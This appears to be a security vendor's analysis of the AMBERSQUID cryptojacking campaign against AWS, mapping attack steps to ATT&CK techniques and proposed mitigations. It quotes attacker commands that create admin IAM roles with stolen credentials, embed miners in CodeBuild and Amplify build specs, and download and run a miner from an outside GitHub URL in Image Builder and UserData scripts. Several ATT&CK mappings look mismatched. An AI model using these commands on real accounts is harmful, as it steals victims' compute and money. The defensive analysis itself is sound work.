AWS’s Hidden Threat: AMBERSQUID Cloud-Native Cryptojacking Operation

The AMBERSQUID cryptojacking operation began with attackers uploading a container image containing cryptomining software to Docker Hub, which evaded static scanning. This step was effectively mitigated by BlueRock's Container Drift Protection (Binaries & Scripts), which prevents unauthorized executables and scripts from running, ensuring that only binaries present in the original container image are executed. The attackers then used compromised AWS credentials to configure their environment and gain access to various AWS services, creating new IAM roles with full access policies. BlueRock's Cloud IMDS Firewall (AWS) could have been instrumental in preventing unauthorized access to AWS metadata services, thereby protecting against the misuse of valid accounts. The operation further involved creating repositories in AWS CodeCommit to store and distribute malicious code, and leveraging AWS Amplify to create web applications that executed cryptomining software. BlueRock's mechanisms ensure that unauthorized code execution is blocked, thus thwarting the attackers' attempts to exploit cloud services for cryptojacking. Finally, the attackers used AWS Elastic Container Service (ECS) and AWS Fargate to run containers executing cryptomining tasks, a step that could be mitigated by BlueRock's comprehensive monitoring and protection of container orchestration services.

• T1202: Indirect Command Execution: The attack begins with the attackers uploading a container image containing cryptomining software to Docker Hub. This image didn't raise alarms during static scanning, indicating the use of techniques to evade detection. The malicious payload only became apparent when the container was run, suggesting the use of Dynamic Analysis Evasion.
• T1078: Valid Accounts: The attackers used compromised AWS credentials to configure their environment and gain access to various AWS services. This is indicative of Valid Accounts, where legitimate credentials are used to access systems and services.
• T1098.003: Account Manipulation: Additional Cloud Roles: The attackers created new IAM roles with full access policies for multiple AWS services like AWSCodeCommit-Role and sugo-role. This shows the use of Create or Modify Cloud Accounts and Permissions to facilitate further malicious activities.
• T1213: Data from Information Repositories: They then created repositories in AWS CodeCommit and used these repositories to store and distribute their malicious code. This aligns with the use of Code Repositories for hosting malicious code.
• T1613: Container and Resource Discovery: They used AWS Elastic Container Service (ECS) and AWS Fargate to run containers that execute cryptomining tasks. This involves the abuse of Container Orchestration Services.
• T1611: Escape to Host: AWS CodeBuild was used to compile and test source code, embedding cryptomining commands within the build specification. This represents the abuse of Continuous Integration/Continuous Delivery (CI/CD) pipelines.
• T1608.001: Stage Capabilities: Upload Malware: The attackers created CloudFormation stacks to automate the deployment of EC2 instances that run cryptomining software. This technique involves the abuse of Infrastructure as Code (IaC) for malicious purposes.
• T1537: Transfer Data to Cloud Account: They utilized EC2 Auto Scaling to dynamically adjust the number of instances running their cryptomining software, ensuring maximum resource usage. This shows the exploitation of Cloud Compute Resources.

F1: Leveraging AWS Amplify and CodeCommit for cryptojacking by embedding miner execution within the application build process.

• Attacker obtains AWS credentials for a target account. (Implicit, required for aws configure)
• Attacker configures AWS CLI with stolen credentials (aws configure set awsaccesskey_id $ACCESS, aws configure set awssecretaccess_key $SECRET). (Cited from: "They set up the AWS credentials with the environment variables or by passing them when deploying the image.")
• Attacker creates an IAM role (AWSCodeCommit-Role) granting amplify.amazonaws.com the ability to assume the role (sts:AssumeRole). (Cited from: "The first script executed by the container, amplify-role.sh, creates the "AWSCodeCommit-Role" role.", "amplify-role.json")
• Attacker attaches policies granting full access for CodeCommit, CloudWatch, and Amplify (AWSCodeCommitFullAccess, CloudWatchFullAccess, AdministratorAccess-Amplify) to the AWSCodeCommit-Role. (Cited from: "Then, it attaches the full access policies of CodeCommit, CloudWatch, and Amplify to that role.")
• Attacker creates a CodeCommit repository (e.g., test) in multiple AWS regions. (Cited from: "The repo.sh script creates a CodeCommit repository named "test" in every region.")
• Attacker pushes malicious Amplify application source code, including a cryptominer (test binary, e.g., SRBMiner-MULTI packed with UPX) and execution scripts (index.py, start, time), to the CodeCommit repository. (Cited from: "it executes code.sh which pushes via Git the source code of an Amplify app to the remote repository.", "amplify-app directory present in code.sh includes the files needed to run their miners", "The "test" binary is a cryptominer, which was packed with UPX")
• Attacker creates multiple AWS Amplify apps (e.g., task1 to task5) in each region, configuring them to use the CodeCommit repository (--repository $REPO) and the previously created IAM role (--iam-service-role-arn $IAM). (Cited from: "The sup0.sh script creates five Amplify web apps from the previously created repositories.", "aws amplify create-app --name task$i --repository $REPO --iam-service-role-arn $IAM")
• Attacker embeds the miner execution command within the Amplify app's build specification (--build-spec), specifically in the build phase commands (python3 index.py, ./time). (Cited from: "--build-spec " version: 1 frontend: phases: build: commands: - python3 index.py artifacts: baseDirectory: / files: - '*/' "", "It runs the following start script, which executes the cryptominer:", "The other script they run in amplify.yml, named time, is used to make the build last as long as possible")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because the Amplify build process runs within a containerized environment. If the test miner binary or the index.py, start, time scripts were not part of the original build container image provided by AWS but were introduced (e.g., downloaded from CodeCommit) during the build phase, BR-54 would detect and block their execution.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if the execution paths for python3, ./start, or ./test within the Amplify build container are not on a predefined allow list. It intercepts exec() calls and blocks execution from disallowed locations.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply if policies were created to specifically deny execution of interpreters like python3 in this context or common miner binary names if identifiable.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap), leveraging NSJail, could prevent the python3, ./start, or ./test processes from starting within the build container if they are not explicitly authorized by the defined policy.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if the Amplify build environment allows modifications to the underlying host filesystem outside of package managers, and the miner/scripts were written there before execution. It blocks execution of files added outside trusted package managers.
• Attacker enables auto-build (--enable-branch-auto-build) and potentially uses update.sh or ulang.sh scripts to continuously trigger builds/re-runs, ensuring the miner executes repeatedly within AWS build instances. (Cited from: "It is also interesting to see how they enable auto-build", "the repo code is updated with the update.sh script so that they are deployed again.", "The final entrypoint script, ulang.sh, runs restart.sh for every region. This script simply queries all the jobs of all the Amplify apps and, if their status is different from "RUNNING" and "PENDING," it re-runs them.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applicable on each re-run/build trigger for the same reasons as the previous step: it blocks the execution of unauthorized binaries/scripts (test, index.py, etc.) within the build container.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply on each re-run if the execution paths are not allowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply on each re-run if the processes are on the deny list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block the unauthorized processes on each re-run.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply on each re-run if files are written to the host filesystem outside package managers.

​

F2: Utilizing AWS ECS Fargate for cryptojacking by deploying container tasks running miner images.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates an IAM role (ecsTaskExecutionRole) allowing the ECS tasks service (ecs-tasks.amazonaws.com) to assume it. (Cited from: "the ecs.sh script starts creating the role, "ecsTaskExecutionRole"")
• Attacker attaches administrative and ECS-specific policies (AdministratorAccess, AmazonECS_FullAccess, AmazonECSTaskExecutionRolePolicy) to the ecsTaskExecutionRole. (Cited from: "Then, it attaches the "AdministratorAccess", "AmazonECS_FullAccess," and "AmazonECSTaskExecutionRolePolicy" policies to it.")
• Attacker defines an ECS task (task.json) specifying a malicious Docker image (e.g., delbidaluan/epicx) containing a cryptominer, setting compute resources (2 vCPU, 4 GB RAM), and configuring it to run on Fargate (\"requiresCompatibilities\": [ \"FARGATE\" ]). (Cited from: "After that, it writes an ECS task definition where the image used to start the container is delbidaluan/epicx, a miner image belonging to the same Docker Hub user.", "The resources are set so that the container has 2 vCPu and 4 GB of memory. It is also configured to run on Fargate...")
  • BR-47: Container Capability Control - This mechanism could apply by enforcing policies that restrict the capabilities allowed for containers running in ECS/Fargate. If the miner requires specific capabilities (e.g., related to performance monitoring or network access) that are disallowed by policy, the container might fail to run correctly or be blocked.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) could detect and block the container if the miner process attempts to run as root (and is not the init process).
  • BR-57: Cluster Drift Protection - This mechanism (Status: Planned) could potentially detect the creation of ECS tasks/services if they are orchestrated in a way that bypasses an expected control plane (e.g., if integrated with Kubernetes and bypassing the K8s API), though its direct applicability depends on the specific environment setup and how ECS tasks are managed.
  • BR-61: Container Runtime Socket Protection - This mechanism is less likely applicable here as Fargate abstracts the underlying host and runtime socket, but if the attacker somehow gained access to the underlying infrastructure and tried interacting with the runtime socket, it could apply.
• Attacker creates an ECS cluster (e.g., test) configured for Fargate capacity providers in multiple regions. (Cited from: "It creates an ECS cluster in Fargate")
• Attacker registers the malicious task definition within the cluster. (Cited from: "It registers the previous task definition")
• Attacker queries the Fargate On-Demand vCPU service quota (aws service-quotas get-service-quota --service-code fargate --quota-code L-3032A538). (Cited from: "It queries the quota of Fargate On-Demand vCPU available")
• Attacker creates an ECS service (e.g., test) using the registered task definition, setting the desiredCount based on the queried quota (e.g., 30 or 6 instances) to maximize miner deployment within limits. (Cited from: "creates an ECS service according to that result: If the quota equals 30.0, the "desiredCount" of the service is set to 30. Otherwise, the "desiredCount" of the service is set to 6.", "aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies when the container specified in the task definition (delbidaluan/epicx) starts. It monitors execution attempts within the running container. If the miner binary was not part of the original base image layers but is perhaps downloaded or unpacked at runtime within the container, or if additional scripts are executed, BR-54 would block their execution.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply inside the running Fargate container if the miner's execution path is not on the allow list.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply inside the running Fargate container if the miner process name/path is on the deny list.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could prevent the miner process inside the Fargate container from making outbound network connections to its mining pool if the process is not on the socket allow list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could prevent the miner process from starting inside the Fargate container if it's not authorized by the NSJail policy.
  • BR-57: Cluster Drift Protection - This mechanism (Status: Planned) might apply here if the service creation bypasses expected Kubernetes control plane interactions, detecting the unauthorized deployment of workloads.
  • BR-61: Container Runtime Socket Protection - Less likely applicable due to Fargate abstraction, but could apply if the container somehow tries to interact with a runtime socket.

​

F3: Abusing AWS CodeBuild for cryptojacking by running miners within the CI build environment.

• Attacker obtains AWS credentials and potentially sets up a CodeCommit repository (test) with miner code if not done via F1. (Implicit, Cited from: "create three new projects in each region with the previously created repository")
• Attacker creates multiple CodeBuild projects (e.g., tost, tost1, tost2) in various regions. (Cited from: "attackers create three new projects in each region")
• Attacker configures the CodeBuild projects to use the CodeCommit repository (test) containing the miner (index.py, time scripts) as the source. (Cited from: "--source '{"type": "CODECOMMIT","location": "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test"...}'")
• Attacker modifies the build specification (buildspec) within the project configuration to execute the miner scripts (python3 index.py, ./time) during the build phase. (Cited from: ""buildspec": "version: 0.2\nphases:\n build:\n commands:\n - python3 index.py\n - ./time"...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies as CodeBuild runs builds in containers. If index.py, ./time, or the miner binary executed by index.py (./test) are downloaded or introduced during the build and were not part of the base CodeBuild image (aws/codebuild/amazonlinux2-x86_64-standard:4.0), BR-54 would block their execution.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if the execution paths for python3 or the miner scripts/binary within the build container are not on the allow list.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply if python3 or the miner binary name is on the deny list for this environment.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could prevent the unauthorized miner processes (python3, ./test) from starting within the CodeBuild container.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if the CodeBuild environment allows writing executable files to the host outside of package managers before execution.
• Attacker configures the build environment (e.g., aws/codebuild/amazonlinux2-x86_64-standard:4.0, BUILDGENERAL1LARGE) and sets a long timeout (--timeout-in-minutes 480) to maximize miner runtime. (Cited from: "--environment '{"type": "LINUXCONTAINER","image": "aws/codebuild/amazonlinux2-x8664-standard:4.0","computeType": "BUILDGENERAL1LARGE"...}'", "--timeout-in-minutes 480")
• Attacker starts the CodeBuild projects (aws codebuild start-build --project-name tost), causing AWS to provision build instances that execute the embedded miner commands. (Cited from: "aws codebuild start-build --project-name tost1")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies upon build start for the same reasons as in the previous mitigated step: blocks execution of unauthorized scripts/binaries introduced during the build.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if execution paths are disallowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply if executed processes are denied.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block unauthorized processes upon start.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if files are written to the host before execution.

​

F4: Employing AWS CloudFormation and EC2 Image Builder for cryptojacking by embedding miner execution in the image build lifecycle.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates CloudFormation stacks in multiple regions. (Cited from: "The attackers’ scripts create several CloudFormation stacks")
• Within the CloudFormation template, attacker defines an AWS::ImageBuilder::Component resource. (Cited from: "a template that defines an EC2 Image Builder component.")
• Attacker embeds commands within the Data section of the Image Builder component, specifically in the build and validate phases (action: ExecuteBash), to download (wget), unzip, and execute the cryptominer (./start, ./time). (Cited from: "Within this component, they put commands to run a miner during the build phase of the image.", "phases: - name: build steps: - name: donStep action: ExecuteBash inputs: commands: - sudo yum install wget unzip -y && wget --no-check-certificate https://github.com/meuryalos/profile/releases/download/1.0.0/test.zip && sudo unzip test.zip", "- name: validate steps: - name: buildStep action: ExecuteBash inputs: commands: - sudo ./start - sudo timeout 48m ./time")
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) is directly applicable as it defaults to blocking processes ending in /wget. It would prevent the wget command from running within the Image Builder environment.
  • BR-80: Tainted File Download Protection - This mechanism (Status: Roadmap) specifically targets scenarios where files (like test.zip) are downloaded using tools like wget and then executed (implicitly via ./start after unzip). It would alert and block this sequence.
  • BR-54: Container Drift Protection (Binaries & Scripts) - Image Builder runs builds in temporary EC2 instances or containers. If the downloaded test.zip contains the miner binary (test or similar executed by start) or the start/time scripts themselves, and these are executed within a containerized build step, BR-54 would block their execution as they weren't part of the original build environment image.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if wget, unzip, ./start, or ./time are executed from paths not on the allow list within the build environment.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block the execution of wget, unzip, ./start, or ./time if they are not authorized processes in the build environment's policy.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if the build happens on a host environment and wget, unzip, start, time, or the miner binary are written to the filesystem outside of package manager control before execution.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) could apply if the build process writes the downloaded/unzipped files to the host filesystem and then tries to execute them, provided the build process itself isn't on the allow list for executing new/modified host files.
• Attacker specifies suitable instance types (e.g., c5.xlarge, r5.xlarge) for the Image Builder process within the CloudFormation template. (Cited from: "BuildInstanceType: Type: CommaDelimitedList Default: "c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"")
• Attacker creates multiple EC2 Image Builder Pipelines (e.g., 8 per region) using the component defined via CloudFormation. (Cited from: "Then, it creates eight EC2 image pipelines")
• Attacker schedules the pipelines to run frequently (e.g., every minute: cron( 0/1  * ?)), ensuring continuous execution of the miner within temporary build instances. (Cited from: "scheduleExpression": "cron( 0/1  * ?)", "pipelineExecutionStartCondition": "EXPRESSIONMATCHONLY"")
  • BR-90: Process Exec Deny - Applicable on each pipeline run, blocking wget.
  • BR-80: Tainted File Download Protection - Applicable on each pipeline run, blocking the download-then-execute pattern.
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applicable on each pipeline run if builds are containerized, blocking execution of downloaded/unpacked miner/scripts.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply on each run if paths are disallowed.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block unauthorized processes on each run.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply on each run if host filesystem is modified outside package managers.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) could apply on each run if host filesystem is modified and executed by non-allowlisted processes.

​

F5: Using EC2 Auto Scaling Groups with malicious UserData for cryptojacking.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates an EC2 Launch Template (e.g., task) in multiple regions. (Cited from: "The script scale.sh creates the following EC2 launch template for each region")
• Attacker specifies an AMI (e.g., Amazon Linux 2) and instance requirements (e.g., 4+ vCPU, 8GB+ RAM) in the launch template. (Cited from: "The instance AMI is Amazon Linux 2, with the minimum requirements set to 4 vCPU and 8 GB of memory.")
• Attacker embeds a Base64 encoded script in the UserData field of the launch template. (Cited from: "'UserData': '$SCRIPT'")
• The decoded UserData script installs Docker, starts the Docker service, pulls a malicious miner image (e.g., delbidaluan/epicx), and runs it in detached mode. (Cited from: "sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/epicx && sudo docker run -d delbidaluan/epicx")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This applies once the docker run command starts the delbidaluan/epicx container. It will monitor processes executed inside that container. If the container image itself contains the miner ready to run, BR-54 might not block the initial miner process if it was part of the image layers. However, if the container entrypoint/cmd downloads additional scripts/binaries or modifies existing ones before execution, BR-54 would block those.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply to the yum, service, docker commands executed by UserData on the host if their paths are not allowed by host policy. It could also apply inside the container if the miner's path is disallowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply to the host commands (yum, service, docker) or the miner process inside the container if they are on the deny list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could potentially block the yum, service, or docker commands on the host, or the miner process inside the container, if they are not authorized.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply. The UserData script installs docker via yum (likely trusted), but the subsequent docker pull and docker run result in new container layers and running processes derived from them. If BR-62 considers container image layers pulled post-boot as 'drift' outside package managers, it might block the execution originating from within the container.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) might apply if the docker run command is executed by a host process not on the allowlist, or if the container itself tries to execute new/modified files on the host.
  • BR-47: Container Capability Control - Could apply to the container started by docker run, restricting its capabilities.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) could apply if the process inside the delbidaluan/epicx container runs as root.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could block the docker pull command if the docker process is denied network access. It could also block the miner inside the container from reaching its pool.
• Attacker creates multiple EC2 Auto Scaling Groups (e.g., task, task1) using the configured launch template. (Cited from: "Then, the script creates two auto scaling groups, named "task" and "task1", that spin up instances using the previous launch template")
• Attacker configures the Auto Scaling Groups to maintain a desired capacity (e.g., 8 instances each) using a mix of On-Demand and Spot instances to balance cost and availability. (Cited from: "Each group includes eight instances: the first group has only On-Demand Instances... while the second group has only Spot Instances...", ""MinSize":8,"MaxSize":8,"DesiredCapacity":8")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies to the containers started on each new instance launched by the ASG.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) applies to host UserData commands and container processes on each new instance.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) applies to host UserData commands and container processes on each new instance.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) applies to host UserData commands and container processes on each new instance.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) applies to the host environment of each new instance.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) applies to the host environment of each new instance.
  • BR-47: Container Capability Control - Applies to containers on each new instance.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) applies to containers on each new instance.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) applies to relevant processes on each new instance.

​

F6: Exploiting Amazon SageMaker Notebook Instances for cryptojacking via lifecycle configurations.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates an IAM role (sugo-role) granting sagemaker.amazonaws.com the ability to assume the role and attaches the AmazonSageMakerFullAccess policy. (Cited from: "Finally, amplify-role.sh creates another role, "sugo-role," with full access to SageMaker", "aws iam attach-role-policy --role-name sugo-role --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccess")
• Attacker runs a script (e.g., note.sh) to create SageMaker notebook instances (e.g., type ml.t3.medium) in multiple regions. (Cited from: "For each region, the attacker runs note.sh. This script creates a SageMaker notebook instance with type ml.t3.medium.")
• Attacker defines a lifecycle configuration for the notebook instances. (Cited from: "users can define a lifecycle configuration, which is a collection of shell scripts")
• Attacker embeds a Base64 encoded script within the OnStart field of the lifecycle configuration. (Cited from: "The "OnStart" field in the configuration contains "a shell script that runs every time you start a notebook instance," and here they inserted the following commands encoded in base64 to run the miner")
• The decoded OnStart script installs Docker, starts the Docker service, pulls a malicious miner image (e.g., delbidaluan/note), and runs it in detached mode. (Cited from: "sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/note && sudo docker run -d delbidaluan/note")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies to the delbidaluan/note container once started by the OnStart script. It monitors and blocks unauthorized execution within the container, similar to the ECS/EC2 cases.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply to the yum, service, docker commands run by the OnStart script on the notebook instance host, or to the miner process within the container, if paths are disallowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply to the host commands or the container miner process if they are on the deny list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block the host commands or the container miner process if they are unauthorized.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply to the notebook instance host. It might block execution of docker commands or processes originating from the pulled image if they are considered drift.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) could apply if the OnStart script (or the container) attempts to execute new/modified files on the host filesystem and the executing process is not allowlisted.
  • BR-47: Container Capability Control - Could apply to the container started by docker run, restricting its capabilities.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) could apply if the process inside the delbidaluan/note container runs as root.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could block the docker pull or the miner's network activity.
• Attacker starts the notebook instances, causing the OnStart script to execute the miner on the provisioned compute instances. (Implicit from creating and configuring OnStart)
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies when the container starts on the notebook instance.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) applies to host commands and container processes on start.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) applies to host commands and container processes on start.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) applies to host commands and container processes on start.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) applies to the notebook instance host environment.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) applies to the notebook instance host environment.
  • BR-47: Container Capability Control - Applies to the container upon start.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) applies to the container upon start.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) applies to relevant processes upon start.

​

F7: Initial Docker Hub based cryptojacking before pivoting to AWS services.

• Attacker creates multiple accounts on Docker Hub (e.g., delbidaluan, tegarhuta, rizal91, etc.). (Cited from: "Below is the list of known Docker Hub users related to this operation.")
• Attacker initially pushes basic container images containing unobfuscated cryptominers to Docker Hub. (Cited from: "Most of these accounts started with very basic container images running a cryptominer.", "Before creating their Github account, the attacker used the cryptominer binaries without any obfuscation.")
• Attacker creates GitHub repositories (e.g., toolbar, romy, profile) to host cryptominer binaries, often packed (UPX) and malformed, downloadable as releases (e.g., test.zip). (Cited from: "when they created a GitHub account.", "Their repositories don’t have any source code (yet) but they do provide the miners inside archives downloadable as releases.", "Those binaries are usually called "test," packed with UPX and malformed")
• Attacker updates Docker Hub images (e.g., those ending in 'x' like delbidaluan/epicx) to download miners from their GitHub repository releases during container startup. (Cited from: "We have deduced that the images ending with “x” download the miners from the attackers’ repository releases and run them when launched, which can be seen in the layers.")
• Attacker promotes or relies on users pulling and running these malicious Docker images (e.g., delbidaluan/epicx had over 100,000 downloads), leading to cryptomining on the user's infrastructure. (Cited from: "The epicx image, in particular, has over 100,000 downloads.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is highly relevant. When a user runs an image like delbidaluan/epicx, if the container's entrypoint downloads the miner (test) from GitHub and then executes it, BR-54 would block this execution because the test binary was not part of the original image layers.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could block the downloaded miner if it's saved to and executed from a path not on the container's allow list.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could block common download tools (like curl, wget if used in the entrypoint) or the miner process itself.
  • BR-80: Tainted File Download Protection - This mechanism (Status: Roadmap) could apply if the entrypoint uses curl or wget to download the miner (test.zip or binary) and then executes it.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could block the download command (e.g., curl, wget) or the miner's connection to the pool.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could prevent the download tool or the miner process from starting if unauthorized.
• Attacker eventually pivots from relying solely on Docker Hub images to exploiting various AWS services directly using compromised credentials, as detailed in other sequences (F1-F6). (Cited from: "However, they eventually switched over to the AWS-specific services described in this research.", "The images without the final "x" run the scripts targeting AWS.")